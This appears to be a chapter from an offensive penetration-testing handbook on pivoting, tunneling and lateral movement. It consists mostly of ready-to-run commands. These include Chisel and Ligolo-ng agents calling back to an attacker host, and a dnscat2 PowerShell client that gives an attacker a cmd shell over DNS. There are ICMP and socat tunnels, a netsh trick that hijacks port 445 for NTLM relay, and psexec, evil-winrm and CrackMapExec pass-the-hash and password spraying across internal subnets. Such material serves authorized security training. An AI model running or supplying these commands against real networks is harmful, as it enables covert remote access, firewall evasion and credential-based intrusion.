Skip to content

Chapter 6: Pivoting, Tunneling & Lateral Movement

Tags: #pivoting #tunneling #port-forwarding #proxychains #chisel #ssh-tunnel #socks #lateral-movement #metasploit-routes #socat #ligolo #dnscat2 #icmp-tunnel

Overview

You have root/admin on a perimeter host. The real targets are on an internal network your attack box cannot reach directly. Pivoting solves this: you use the compromised host as a relay to route your tools' traffic into the internal network. This chapter covers every method from SSH tunnels (simple) to ICMP tunnels (firewall bypass) to DNS tunneling (extreme filtering environments).

Master Decision Tree

You have a shell on a pivot host. What do you need to do?
├── Reach internal hosts via your attack tools (nmap, Burp, xfreerdp)?
│    └── → SOCKS Proxy: § 1 (pick method), then § 2 (proxychains config)
├── Forward a single specific port (e.g., expose internal RDP/SMB to yourself)?
│    └── → Local Port Forward: § 3
├── Receive connections FROM the internal network (e.g., reverse shell callback)?
│    └── → Remote Port Forward: § 4
├── Already in Meterpreter?
│    └── → § 5 (autoroute + portfwd — no proxychains needed for MSF modules)
├── Windows pivot host (no SSH client)?
│    └── → § 6 (netsh portproxy, plink, SocksOverRDP, dnscat2)
└── Firewall blocks all outbound TCP?
     ├── ICMP allowed? → § 8 (ptunnel-ng)
     └── DNS allowed?  → § 9 (dnscat2)

After establishing pivot, attack through it:
→ § 10 (scanning through proxy)
→ § 11 (lateral movement via pivot)

1. SOCKS Proxy Setup (Choose One Method)

Info

A SOCKS proxy lets you route ANY tool's traffic through the pivot host into the internal network. Set one up first, then use proxychains to send any tool through it.

Quick Method Selection

What's available on the pivot host?
├── SSH access to pivot? → SSH -D (simplest, no upload needed)
├── Can upload a binary? → Ligolo-ng preferred for Windows pivots (§ 1d-ng)
│                          Chisel also good — works through firewalls (§ 1b/1c)
├── Meterpreter session? → MSF socks_proxy (no binary upload)
├── Only RDP available? → SocksOverRDP
└── Only DNS/ICMP? → § 8/9

1a. SSH Dynamic Port Forwarding (Simplest)

# Run from your attack box
ssh -D 9050 -N <USER>@<PIVOT_IP>

# -D 9050  → SOCKS listener on your local port 9050
# -N       → no shell, just forward
Then configure proxychains to use port 9050 (§ 2).

1b. Chisel — Forward SOCKS (Pivot Has Outbound Access)

# Step 1: Start Chisel server on the PIVOT HOST
./chisel server -v -p 1234 --socks5

# Step 2: Start Chisel client on ATTACK BOX (connects to pivot)
./chisel client -v <PIVOT_IP>:1234 socks
# → SOCKS5 listener on attack box: 127.0.0.1:1080
Configure proxychains for port 1080 (§ 2).

1c. Chisel — Reverse SOCKS (Pivot Cannot Be Reached Directly)

# Step 1: Start Chisel server on ATTACK BOX with --reverse
sudo ./chisel server --reverse -v -p 1234 --socks5

# Step 2: Run Chisel client on PIVOT HOST (connects back to attacker)
./chisel client -v <ATTACKER_IP>:1234 R:socks
# → SOCKS5 listener on attack box: 127.0.0.1:1080
Use this when the pivot host can't be SSH'd into directly (e.g., it's behind NAT/firewall).

1d. Metasploit SOCKS Proxy (Meterpreter Session)

msf6 > use auxiliary/server/socks_proxy
set SRVPORT 9050
set SRVHOST 0.0.0.0
set VERSION 4a
run -j
Add a route first (§ 5a) so MSF knows what subnet to route through the session.

1e. Ligolo-ng — Preferred for Multi-Hop Windows Pivots

Ligolo-ng uses a TUN interface instead of SOCKS proxychains, making it faster and more compatible with tools that don't support proxychains (nmap, Impacket, evil-winrm).

# === KALI: One-time setup ===
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up

# Start proxy (accepts agent connections):
./proxy -selfcert -laddr 0.0.0.0:11601

# === PIVOT HOST — Linux agent ===
./agent -connect <KALI_IP>:11601 -ignore-cert &

# === PIVOT HOST — Windows agent ===
.\agent.exe -connect <KALI_IP>:11601 -ignore-cert

# === IN LIGOLO PROXY CONSOLE ===
session           # list and select agent
start             # start tunnel on ligolo TUN interface

# Add route on Kali for internal subnet:
sudo ip route add 172.16.139.0/24 dev ligolo

# All tools now reach internal subnet directly — no proxychains needed
nmap -sV 172.16.139.3
evil-winrm -i 172.16.139.3 -u Administrator -H <HASH>
# === CHAINED PIVOT — second hop through pivot host ===
# In ligolo proxy console — create listener that second agent connects through:
listener_add --addr 0.0.0.0:11602 --to 127.0.0.1:11601

# On second pivot host — connect to first pivot (which relays to Kali):
.\agent.exe -connect <FIRST_PIVOT_IP>:11602 -ignore-cert

# Back in ligolo proxy console — select new session, start tunnel
# Add route for second subnet:
sudo ip route add 172.16.210.0/24 dev ligolo
# === RELAY LISTENERS — expose Kali services through pivot ===
# Use case: NTLM relay — need pivot to forward port 445 to Kali's ntlmrelayx

# In ligolo proxy console:
listener_add --addr 0.0.0.0:8445 --to 127.0.0.1:445

# Problem: Windows holds port 445 at kernel level (PID 4/System) even after stopping services
# Workaround — netsh portproxy to redirect 445 → ligolo listener port:
netsh interface portproxy add v4tov4 listenport=445 listenaddress=0.0.0.0 connectport=8445 connectaddress=127.0.0.1

# Stop dependent services first:
Get-Service srv2 -DependentServices | Stop-Service -Force
Stop-Service srv2, srvnet, LanmanServer -Force

# Verify portproxy active:
netsh interface portproxy show all

# Cleanup when done:
netsh interface portproxy delete v4tov4 listenport=445 listenaddress=0.0.0.0
Start-Service LanmanServer
Start-Service Netlogon

2. Proxychains Configuration

# Edit /etc/proxychains.conf — scroll to the bottom and add/replace the proxy line

# For SSH -D or MSF socks_proxy (SOCKS4):
echo "socks4 127.0.0.1 9050" | sudo tee -a /etc/proxychains.conf

# For Chisel (SOCKS5):
echo "socks5 127.0.0.1 1080" | sudo tee -a /etc/proxychains.conf

# Verify
tail -4 /etc/proxychains.conf

Using Proxychains

# Prefix any command with "proxychains"
proxychains nmap -sT -p 22,80,445,3389 <INTERNAL_IP>
proxychains xfreerdp /v:<INTERNAL_IP> /u:<USER> /p:<PASS>
proxychains crackmapexec smb <INTERNAL_SUBNET>/24 -u <USER> -p <PASS>
proxychains evil-winrm -i <INTERNAL_IP> -u <USER> -p <PASS>
proxychains msfconsole          # Run all MSF modules through proxy
proxychains ssh <USER>@<INTERNAL_IP>
proxychains curl http://<INTERNAL_IP>/

Warning

Nmap SYN scan (-sS) does NOT work through proxychains. Use TCP connect scan (-sT) instead. ICMP ping also won't work — use -Pn to skip host discovery.


3. Local Port Forwarding — Expose a Single Internal Port

Info

Use this when you want to interact with ONE internal service (e.g., access an internal web app via your browser, or connect to an internal RDP).

# Forward YOUR local port → through pivot → to internal service
ssh -L <LOCAL_PORT>:<INTERNAL_IP>:<INTERNAL_PORT> <USER>@<PIVOT_IP> -N

# Example: access internal RDP (172.16.5.19:3389) on local port 13389
ssh -L 13389:172.16.5.19:3389 ubuntu@10.129.202.64 -N

# Then connect:
xfreerdp /v:127.0.0.1:13389 /u:<USER> /p:<PASS>

# Example: access internal MySQL (172.16.5.25:3306) on local port 1234
ssh -L 1234:172.16.5.25:3306 ubuntu@10.129.202.64 -N
mysql -h 127.0.0.1 -P 1234 -u root -p

# Multiple ports at once
ssh -L 13389:172.16.5.19:3389 -L 8080:172.16.5.10:80 ubuntu@10.129.202.64 -N

Verify tunnel is up:

netstat -antp | grep <LOCAL_PORT>
# Expected: 127.0.0.1:<LOCAL_PORT> LISTEN


4. Remote Port Forwarding — Receive Reverse Shells Through Pivot

Info

Use this when an internal target needs to call back to you, but it can only reach the pivot host — not your attack box directly.

# Pivot host opens a port that forwards back to your attack box
ssh -R <PIVOT_INTERNAL_IP>:<PIVOT_PORT>:0.0.0.0:<ATTACKER_LISTENER_PORT> <USER>@<PIVOT_IP> -vN

# Example:
# Pivot's internal IP: 172.16.5.129  (visible to internal targets)
# We want internal targets to call back on 172.16.5.129:8080
# We're listening on our attack box on port 8000
ssh -R 172.16.5.129:8080:0.0.0.0:8000 ubuntu@10.129.202.64 -vN

# Set up your listener on attacker:
nc -lvnp 8000
# or MSF multi/handler on port 8000

# Payload on internal target points to: 172.16.5.129:8080
# Traffic arrives at your attack box on port 8000

5. Metasploit Routes & Port Forwarding (Meterpreter)

5a. AutoRoute — Route Traffic Through Session

# In msfconsole with an active Meterpreter session

use post/multi/manage/autoroute
set SESSION 1
set SUBNET 172.16.5.0
run

# Verify routes added
meterpreter > run autoroute -p
After this, MSF modules (not external tools) can reach the internal subnet through session 1. For external tools, pair with § 1d (socks_proxy).

5b. Meterpreter portfwd — Forward Specific Ports

meterpreter > portfwd add -l <LOCAL_PORT> -p <REMOTE_PORT> -r <INTERNAL_IP>
# Example: forward local 3300 → 172.16.5.19:3389
meterpreter > portfwd add -l 3300 -p 3389 -r 172.16.5.19

# Then connect locally:
xfreerdp /v:127.0.0.1:3300 /u:<USER> /p:<PASS>

# Reverse port forward (internal target's shell → you)
meterpreter > portfwd add -R -l 8081 -p 1234 -L <ATTACKER_IP>
# Target calls back to pivot:1234, arrives at attacker:8081

5c. Meterpreter — Upgrade Shell Session

# Background current session
meterpreter > bg

# Upgrade a plain shell to Meterpreter
use post/multi/manage/shell_to_meterpreter
set SESSION <SHELL_SESSION_NUM>
run

6. Windows Pivot Host Techniques

6a. netsh Port Proxy (No Extra Tools)

# On Windows pivot: listen on one port, forward to internal target
netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=<PIVOT_IP> connectport=3389 connectaddress=<INTERNAL_TARGET_IP>

# Verify
netsh.exe interface portproxy show v4tov4

# Add firewall rule to allow traffic on the listen port
netsh advfirewall firewall add rule name="pivot" dir=in action=allow protocol=TCP localport=8080

# Then from attacker:
xfreerdp /v:<PIVOT_IP>:8080 /u:<USER> /p:<PASS>

# Cleanup
netsh.exe interface portproxy del v4tov4 listenport=8080 listenaddress=<PIVOT_IP>

6b. Plink.exe (PuTTY SSH — Dynamic Forward from Windows)

# On Windows pivot — creates SOCKS proxy tunnel to attacker's SSH server
plink -ssh -D 9050 <USER>@<ATTACKER_IP>

# Or remote forward: expose Windows RDP through attacker's port 13389
plink -ssh -R 13389:127.0.0.1:3389 <USER>@<ATTACKER_IP>

6c. SocksOverRDP (SOCKS Through RDP)

# When you only have RDP to the pivot host
# Copy SocksOverRDP-Plugin.dll and SocksOverRDP-Server.exe to target

# Register the plugin
regsvr32.exe SocksOverRDP-Plugin.dll

# Start server on pivot
SocksOverRDP-Server.exe

# SOCKS5 listener appears on pivot: 127.0.0.1:1080
# Use with proxychains on your attack box (configure to use pivot IP:1080)

7. socat — Relay Without SSH

# socat listener: accept connections on one side, forward to the other
# Run on PIVOT HOST

# Relay incoming connections to internal target (TCP)
socat TCP4-LISTEN:<LISTEN_PORT>,fork TCP4:<INTERNAL_IP>:<INTERNAL_PORT>

# Example: relay port 8080 → internal Windows 8443
socat TCP4-LISTEN:8080,fork TCP4:172.16.5.19:8443

# Then trigger the payload to call back to pivot:8080
# The shell arrives at your handler on 8443 via socat

8. ICMP Tunneling — ptunnel-ng (Bypasses TCP/UDP Firewalls)

Info

Use when all TCP/UDP is blocked but ICMP ping is allowed. This tunnels TCP through ICMP echo packets.

# Step 1: Start ptunnel-ng SERVER on pivot host
sudo ./ptunnel-ng -r<PIVOT_IP> -R22
# -r = redirect destination IP
# -R = redirect destination port (usually SSH)

# Step 2: Start ptunnel-ng CLIENT on attack box
sudo ./ptunnel-ng -p<PIVOT_IP> -l2222 -r<PIVOT_IP> -R22
# -p = ICMP server (pivot) IP
# -l = local TCP port to listen on
# -r = redirect to this IP
# -R = redirect to this port

# Step 3: SSH through the ICMP tunnel
ssh -p2222 <USER>@127.0.0.1

# Step 4: Add SOCKS proxy through ICMP tunnel
ssh -D 9050 -p2222 <USER>@127.0.0.1
# Then use proxychains as normal

9. DNS Tunneling — dnscat2 (Extreme Filtering)

Info

Last resort when only DNS (UDP 53) is allowed out. Slow but works through most corporate firewalls that permit DNS lookups.

# Step 1: Start dnscat2 SERVER on attack box
# (Requires your attack box to be the authoritative DNS for a domain)
sudo ruby dnscat2.rb --dns host=<ATTACKER_IP>,port=53,domain=<YOUR_DOMAIN> --no-cache

# Step 2: Run dnscat2 CLIENT on Windows target
# PowerShell:
Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver <ATTACKER_IP> -Domain <YOUR_DOMAIN> -PreSharedSecret <SECRET> -Exec cmd

# Step 3: Interact with session in dnscat2 console
dnscat2> windows           # List sessions
dnscat2> window -i 1       # Interact with session 1
# → Shell on target

10. Scanning Through the Pivot

Host Discovery (Internal Subnet)

# Via proxychains
proxychains nmap -sn -Pn 172.16.5.1-254 2>/dev/null

# Bash ping sweep on pivot (if you have a shell there)
for i in {1..254}; do (ping -c 1 172.16.5.$i | grep "bytes from" &); done

# Windows CMD on pivot
for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 | find "Reply"

# PowerShell
1..254 | % {"172.16.5.$($_): $(Test-Connection -count 1 -comp 172.16.5.$($_) -quiet)"}

# Metasploit (through route)
use post/multi/gather/ping_sweep
set RHOSTS 172.16.5.0/23
set SESSION 1
run

Port Scanning Through Proxy

# TCP connect scan (SYN scan doesn't work through proxy)
proxychains nmap -sT -Pn -p 22,80,443,445,3389,5985,8080 172.16.5.19

# Aggressive scan (slower through proxy — be patient)
proxychains nmap -sT -sV -Pn -p 80,443,445,3389,8443 172.16.5.19

# Quick service check
proxychains nmap -sT -Pn --top-ports 100 172.16.5.19

11. Lateral Movement Through the Pivot

Once you can reach internal hosts through the proxy, use standard attack tools:

SMB / PsExec

proxychains impacket-psexec <DOMAIN>/<USER>:<PASS>@172.16.5.19
proxychains impacket-psexec <DOMAIN>/<USER>@172.16.5.19 -hashes :<NTLM>
proxychains impacket-wmiexec <DOMAIN>/<USER>:<PASS>@172.16.5.19

WinRM

proxychains evil-winrm -i 172.16.5.19 -u <USER> -p <PASS>
proxychains evil-winrm -i 172.16.5.19 -u <USER> -H <NTLM_HASH>

RDP

proxychains xfreerdp /v:172.16.5.19 /u:<USER> /p:<PASS>
# Or use local port forward (§ 3) for better RDP performance
ssh -L 13389:172.16.5.19:3389 ubuntu@<PIVOT_IP> -N
xfreerdp /v:127.0.0.1:13389 /u:<USER> /p:<PASS>

CrackMapExec — Spray Internal Subnet

proxychains crackmapexec smb 172.16.5.0/24 -u <USER> -p <PASS>
proxychains crackmapexec smb 172.16.5.0/24 -u <USER> -H <NTLM>
proxychains crackmapexec smb 172.16.5.0/24 -u <USER> -p <PASS> --shares

SSH Hop (Double Pivot — Reaching a Third Network)

# From attack box, pivot through host1 to reach host2
ssh -J <USER1>@<PIVOT1_IP> <USER2>@<INTERNAL_IP>

# Or chain SOCKS: establish second tunnel through first tunnel
proxychains ssh -D 9051 <USER>@<SECOND_PIVOT_IP>
# Then add second proxy to proxychains.conf:
# socks5 127.0.0.1 9051

12. Pivot Cleanup

Warning

Clean up port forwards and running services on pivot hosts before leaving an engagement. Leftover listeners create network anomalies that defenders will find.

# Kill SSH tunnel (find PID)
ps aux | grep ssh
kill <PID>

# Chisel — Ctrl+C on both server and client

# netsh cleanup (Windows)
netsh.exe interface portproxy del v4tov4 listenport=<PORT> listenaddress=<IP>
netsh advfirewall firewall delete rule name="pivot"

# Metasploit — remove routes
meterpreter > run autoroute -d -s 172.16.5.0/23

# socat — just kill the process
kill <SOCAT_PID>

Routing Decision After Pivoting

You can now reach the internal network. What's there?
├── Windows hosts with SMB (port 445)?
│    └── → Chapter 4 §8: Pass-the-Hash to all reachable hosts
├── Domain Controller found?
│    └── → Chapter 7: Active Directory Attacks
├── More subnets discovered?
│    └── Set up another pivot (double-hop): repeat this chapter
└── Internal web applications?
     └── Use proxychains + browser (Firefox with SOCKS proxy settings)
          or proxychains + Burp Suite
          → Chapter 2: Web Attack Surface